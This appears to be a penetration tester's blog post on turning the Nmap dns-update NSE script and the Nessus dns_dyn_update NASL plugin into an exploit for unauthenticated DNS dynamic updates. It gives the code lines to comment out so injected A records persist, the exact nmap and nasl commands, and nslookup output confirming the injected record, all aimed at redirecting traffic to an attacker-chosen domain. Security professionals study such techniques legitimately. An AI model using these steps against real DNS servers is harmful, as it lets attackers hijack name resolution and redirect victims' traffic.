Intro

On a penetration test or as a result of a vulnerability scan you may encounter a “DNS Server Dynamic Update Record Injection” finding. Nessus for example, is one such vulnerability scanner that can identify this issue. This vulnerability allows anyone with access to the afflicted DNS server (over UDP port 53) the ability to add or even remove DNS records to/from a zone. The danger of this vulnerability, put simply by the Nessus plugin itself is… “This protocol … could be subverted by malicious users to redirect network traffic.”

OK, so Nessus has identified the vulnerability - great! As a penetration tester, you may be interested in exploring that vulnerability further. Let’s start digging into this by taking a closer look at the Nessus plugin itself. When found, the Nessus plugin will output… “Nessus was able to register a new A record into the following zone: [ZONE]”. This is an interesting message as it expresses that Nessus was actually able to ADD a record. What is unclear is whether that record was subsequently deleted or what the record details were (e.g. hostname, IP, etc…) Without more control over how the Nessus plugin is executed we may not be able to take advantage of it for our malicious purposes. Instead, let’s take a look at Nmap and see if it has anything we can use…

Nmap Arsenal

It turns out Nmap has functionality very similar to the DNS Server Dynamic Update Record Injection plugin from Nessus. With a standard install, Nmap contains a suite of NSE scripts (in /usr/share/nmap/scripts on Kali), one of which is named dns-update.nse. When the dns-update.nse script is run against the vulnerable DNS server the output specifies that a record is successfully added and then subsequently deleted. (Syntax for running the NSE script and the output is shown below).

nmap -sU -p 53 --script=dns-update --script-args=dns-update.hostname=[new hostname],dns-update.ip=[new ip] [DNS server ip]

PORT   STATE SERVICE
53/udp open  domain
| dns-update:
|   Successfully added the record "nmap-test.cqure.net"
|_  Successfully deleted the record "nmap-test.cqure.net"

Similar to the Nessus plugin, this NSE script can add a record to the zone but unlike the Nessus plugin, this script also lets us know what the hostname value of the record was and lets us know that the record was ALSO deleted. With this information in hand, let’s peek into the NSE script code and see if we can’t get a better idea of what it is doing and how we might modify it to add a record of our choosing.

After a closer inspection, I found that by commenting out a few lines of code in the NSE script I could remove the logic which deletes the A record after it had been added. The code to comment out is shown below…

...
local status, err = dns.update( name, { host=host, port=port, dtype="A", data=ip } )

if ( status ) then
    local result = {}
    table.insert(result, ("Successfully added the record \"%s\""):format(name))
    --local status = dns.update( name, { host=host, port=port, dtype="A", data="", ttl=0 } )
    --if ( status ) then
    --  table.insert(result, ("Successfully deleted the record \"%s\""):format(name))
    --else
      table.insert(result, ("Failed to delete the record \"%s\""):format(name))
...

So now, by re-running the script “nmap -sU -p 53 –script=dns-update –script-args=dns-update.hostname=[new hostname],dns-update.ip=[new ip] [DNS server ip]” you will be able to add a hostname without having that hostname deleted afterwards. This can be further verified using the nslookup command…

Setting DNS server to use in interactive Nslookup prompt…

# nslookup
> server [DNS server ip - for example 10.10.10.10]
Default server: 10.10.10.10
Address: 10.10.10.10#53

Before running the NSE script exploit, the record you wish to inject will not be present.

> [hostname].[zone]
Server:   10.10.10.10
Address:  10.10.10.10#53

*** server can't find test.zone: SERVFAIL

After running the NSE script exploit you will see your injected record successfully resolves.

> [hostname].[zone]
Server:   10.10.10.10
Address:  10.10.10.10#53

Name:     test.zone
Address:  127.1.2.3

From here, you can being subsequent exploitation by having traffic routed to a domain of your choosing!

Weaponizing Nessus

With just a little bit of know-how, it is also possible to modify the Nessus plugin in a similar way to how we modified the Nmap NSE script to achieve the DNS record injection.

First, on a box with Nessus installed, list all plugins (stored in /opt/nessus/lib/nessus/plugins) and then search for the plugin ID (which is 35372).

ls /opt/nessus/lib/nessus/plugins | grep -iR "script_id(35372)"

dns_dyn_update.nasl: script_id(35372)

Here you’ll see one result - “dns_dyn_update.nasl”. The Nessus Attack Scripting Language or NASL files are Nessus’ way of running its respective plugins. Taking a closer look at this file, I identified just a few code modifications needed to allow me to add a DNS record of my choosing without it being deleted afterwards. These code modifications are shown below…

To add a hostname record, modify the following portions of code. (I recommend making a copy of the NASL file before modifying.)

...
pkt += raw_string(
  0, 4,             # Data length
  [ip separated by commas - 127, 1, 2, 3]); #Square brackets are not part of the code
return pkt;
...
dynname = "[hostname]";
...
#pkt = dns_update_A(zone: zone, dynname, delete: 1);  #COMMENT THIS LINE OUT
#send(socket:soc, data: pkt);                         #COMMENT THIS LINE OUT
...

Once the code has been modified, the script can be run directly using the nasl utility included with the Nessus install.

/opt/nessus/bin/nasl -t [target DNS server] /opt/nessus/lib/nessus/plugins/dns_dyn_update.nasl -M

==========[ Executing dns_server.nasl ]======
dns_server.nasl: Success
dns_server.nasl: Success
----------[ Finished dns_server.nasl 16msec ]------
==========[Executing bind_hostname.nasl ]======
----------[ Finished bind_hostname.nasl 13msec ]------
==========[Executing /opt/nessus/lib/nessus/plugins/dns_dyn_update.nasl]======

Nessus was able to register a new A record into the following zone :

[hostname.zone]

----------[ Finished /opt/nessus/lib/nessus/plugins/dns_dyn_update.nasl 17msec ]------

To then delete a hostname record simply uncomment the previously commented lines and re-run the NASL script…

#pkt = dns_update_A(zone: zone, dynname, delete: 1);
#send(socket:soc, data: pkt);

Closing Thoughts

  • As you can see, Nmap and Nessus definitely have some offensive capability which extends past your typical recon/enumeration/vulnerability scanning typically thought of when considering these two tools. With over 100k plugins/NASL files provided in Nessus (of course not all of which are “exploitable”) and another 590 NSE scripts which come with Nmap, there is a lot of potential for leveraging pre-built exploits for your own work.

  • Despite Tenable claiming (via it’s Security Center product) that there is no exploit available for this vulnerability, you now know that there definitely is. What’s funny here is Nessus states that it was able to exploit the vulnerability and then proceeds to claim that there is no exploit.

  • Update your DNS servers if you find this vulnerability! Tenable classifies this as a Medium risk issue though I personally think this is High risk.

Thanks for reading!